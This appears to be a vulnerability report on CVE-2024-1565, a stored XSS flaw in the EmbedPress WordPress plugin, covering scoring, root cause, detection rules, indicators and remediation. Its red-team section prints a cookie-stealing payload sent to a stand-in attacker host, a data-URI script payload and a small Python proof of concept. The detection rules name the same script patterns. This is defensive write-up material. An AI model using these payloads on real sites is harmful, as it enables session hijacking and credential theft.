CVE-2024-1565
Executive Summary
CVE-2024-1565 is a Stored Cross-Site Scripting (XSS) vulnerability in the EmbedPress WordPress plugin (versions up to and including 3.9.10). The flaw resides in insufficient input sanitization and output escaping on user-supplied attributes within the PDF Widget URL. Authenticated attackers with contributor-level permissions or higher can inject arbitrary web scripts that execute when any user accesses a page containing the malicious PDF widget. This allows for session hijacking, credential theft, or defacement within the WordPress ecosystem.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability specifically targets the EmbedPress plugin, a widely used tool for embedding PDFs, YouTube videos, Google Docs, and other media in Gutenberg and Elementor editors. The attack vector is through the PDF widget URL parameter, which is not properly sanitized, enabling stored XSS payloads.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts that affect all visitors makes this a significant risk for multi-author WordPress sites.
Deep Dive & Mechanics
The vulnerability exists in the embedpress plugin's PDF widget functionality. When a user inserts a PDF via the Gutenberg or Elementor block, the plugin processes a URL attribute. Due to insufficient input sanitization and output escaping, an attacker can inject JavaScript code into the URL field. This code is stored in the WordPress database and rendered on the frontend without proper escaping, leading to stored XSS.
Attack Flow:
- An authenticated user with contributor-level access creates or edits a post/page.
- They add an EmbedPress PDF block and set the URL to a malicious payload, e.g.,
javascript:alert(document.cookie)or a crafted data URI. - The plugin stores the payload in the post meta.
- When any user (including administrators) views the page, the script executes in their browser context.
Root Cause: The plugin fails to validate and escape the URL attribute before outputting it in the HTML. Specifically, the src attribute of the PDF embed is not sanitized against XSS vectors.
Vulnerable vs. Patched Code
Vulnerable Code (simplified):
// In embedpress/EmbedPress/Shortcode.php or similar
function render_pdf_block($atts) {
$url = $atts['url'];
// No sanitization or escaping
return '<iframe src="' . $url . '"></iframe>';
}
Patched Code (expected):
function render_pdf_block($atts) {
$url = esc_url($atts['url']); // Properly escape URL
// Additional validation
if (!wp_http_validate_url($url)) {
return 'Invalid URL';
}
return '<iframe src="' . $url . '"></iframe>';
}
Note: As of this report, no official patch has been released. The above is a recommended fix.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- WordPress instance with EmbedPress <= 3.9.10
- Contributor-level account credentials
Exploit Steps:
- Log in as a contributor.
- Create a new post and add the EmbedPress PDF block.
- In the URL field, enter a payload such as:
Or use a data URI:javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)data:text/html,<script>alert('XSS')</script> - Publish the post.
- When an admin or visitor views the post, the script executes.
Proof-of-Concept (Python):
import requests
from bs4 import BeautifulSoup
# Login as contributor
session = requests.Session()
login_data = {'log': 'contributor', 'pwd': 'password'}
session.post('http://target/wp-login.php', data=login_data)
# Create post with malicious PDF block
post_data = {
'post_title': 'Malicious PDF',
'content': '<!-- wp:embedpress/pdf {"url":"javascript:alert(1)"} /-->',
'post_status': 'publish'
}
session.post('http://target/wp-admin/post-new.php', data=post_data)
Blue Team (Detection & Response)
Detection Steps:
- Monitor for posts containing
embedpress/pdfblocks with suspicious URL patterns. - Check for
javascript:ordata:schemes in post meta. - Review user activity logs for unusual post creation by low-privilege users.
Hunting Query (SQL):
SELECT * FROM wp_postmeta
WHERE meta_key LIKE '%embedpress%'
AND meta_value LIKE '%javascript:%';
Indicators of Compromise (IOCs)
- Network: Outbound connections to attacker-controlled domains from WordPress admin pages.
- File: Modified post content containing
embedpress/pdfblocks with non-standard URLs. - Log: WordPress debug log entries showing failed URL validation.
- Database:
wp_postmetaentries withmeta_valuecontainingjavascript:ordata:schemes.
Example IOC (Post Meta):
meta_key: _embedpress_pdf_url
meta_value: javascript:alert('XSS')
Detection Engineering
YARA Rule
rule CVE_2024_1565_EmbedPress_XSS {
meta:
description = "Detects malicious PDF widget URLs in EmbedPress plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-1565"
strings:
$xss1 = /javascript\s*:/ nocase
$xss2 = /data\s*:\s*text\/html/ nocase
$xss3 = /onerror\s*=/ nocase
$embedpress = "embedpress/pdf"
condition:
$embedpress and any of ($xss*)
}
Sigma Rule
title: CVE-2024-1565 - Stored XSS via EmbedPress PDF Widget
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via EmbedPress plugin PDF URL
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: 'embedpress/pdf'
http.url|contains|any:
- 'javascript:'
- 'data:text/html'
condition: selection
falsepositives:
- Legitimate use of data URIs (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-1565 - EmbedPress Stored XSS Attempt"; flow:to_server; content:"embedpress/pdf"; http_uri; content:"javascript:"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if not essential until a patch is released.
- Restrict contributor permissions to trusted users only.
- Implement a Web Application Firewall (WAF) rule to block
javascript:anddata:schemes in URL parameters.
Long-term Fix:
- Apply the vendor patch when available (currently UNKNOWN).
- Manually patch by adding
esc_url()andwp_http_validate_url()to the PDF widget rendering code.
Workaround:
- Use a security plugin like Wordfence to block XSS payloads.
- Audit all posts for malicious content using the SQL query above.
Report generated by Valters IT DevSecOps Intelligence Unit
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.